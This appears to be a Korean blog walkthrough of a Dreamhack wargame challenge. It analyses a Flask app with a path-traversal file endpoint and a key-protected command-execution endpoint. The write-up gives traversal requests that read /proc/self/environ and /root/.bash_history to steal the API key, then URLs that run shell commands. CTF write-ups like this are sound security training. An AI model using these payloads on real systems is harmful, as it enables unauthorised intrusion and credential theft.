https://dreamhack.io/wargame/challenges/417/
파일 다운로드 취약점 문제이다.
첫 화면이다. 코드를 보면서 분석해보자.
@app.route('/', methods=['GET'])
def index():
return 'API Index'
방금 우리가 본 페이지다. 별 다를 것 없어 보이니 넘어가자.
@app.route('/file', methods=['GET'])
def file():
path = request.args.get('path', None)
if path:
data = open('./files/' + path).read()
return data
return 'Error !'
/file 엔드포인트에서 path traversal 취약점이 보인다. 이를 인지하고 넘어가자.
@app.route('/admin', methods=['GET'])
@key_required
def admin():
cmd = request.args.get('cmd', None)
if cmd:
result = subprocess.getoutput(cmd)
return result
else:
return 'Error !'
/admin 엔드포인트에서는 쉘 명령어를 입력할 수 있는 코드가 짜여있는 것을 볼 수 있다. 하지만 @key_required라는 데코레이터가 존재한다. @key_required의 코드를 살펴보자.
def key_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.args.get('API_KEY', None)
if API_KEY and apikey:
if apikey == API_KEY:
return view(**kwargs)
return 'Access Denined !'
return wrapped_view
/admin 엔드포인트의 보안상의 이유로 api_key를 사용한 인증방식을 사용하는 것으로 보인다.
API_KEY란 API를 사용할 때 인증 및 권한 부여를 위해 사용하는 비밀키이다. API_KEY는 환경 변수에 저장하여 관리하는 것이 일반적이다.
따라서 우리는 /file 엔드포인트를 이용해서 환경변수에 있는 API_KEY를 확인할 것이다. 획득한 API_KEY를 이용해 /admin 페이지에 넣어 우리가 원하는 쉘 명령어를 사용하도록 해보자.
/file?path=../../../../../proc/self/environ
이 값을 url에 넣어서 환경 변수 값을 확인해보자.
API_KEY 값을 찾을 수 있다.
이 값과 실행하고 싶은 쉘 명령어를 함께 /admin 엔드포인트에 넣어주자.
/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=ls -al /
다음과 같이 입력하면
이렇게 flag 실행파일이 보인다. 참고로 다음과 같이 보려면 우클릭 -> 페이지 소스 보기를 하면 된다.
이번엔 플래그를 실행시켜보자
/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=/flag
이와 같이 입력하면
짜자잔
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/proc/self/environ을 확인하는 방법 외에도 .bash_history를 확인해보는 방법이 있다.
.bash_history는 bash 쉘에서 사용자의 명령어 이력을 저장하는 파일이다. 환경 변수 파일에 API_ KEY 값을 설정해주기 위한 명령어 이력을 찾아보면 그 값을 찾을 수 있을 것이다.
/file?path=../../../../../../root/.bash_history
다음과 같이 root사용자의 명령어 이력을 확인해 보았다.
다음과 같이 API_KEY를 발견할 수 있다.
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] simple_sqli_chatgpt 풀이 (1) | 2023.07.16 |
---|---|
[드림핵] [wargame.kr] strcmp (0) | 2023.07.12 |
[드림핵] CSRF Advanced 풀이 (0) | 2023.07.09 |
[드림핵] simple-web-request 풀이 (0) | 2023.07.09 |
[드림핵] Command Injection Advanced 풀이 (0) | 2023.07.09 |